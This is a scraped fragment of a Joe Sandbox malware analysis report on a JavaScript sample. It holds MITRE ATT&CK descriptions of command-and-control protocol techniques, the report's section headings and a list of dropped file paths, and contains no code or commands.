Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1849946161599211804.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e2d3aa79-73cc-464a-9a53-4715adc0aa0d.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2752

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
1849946161599211804.js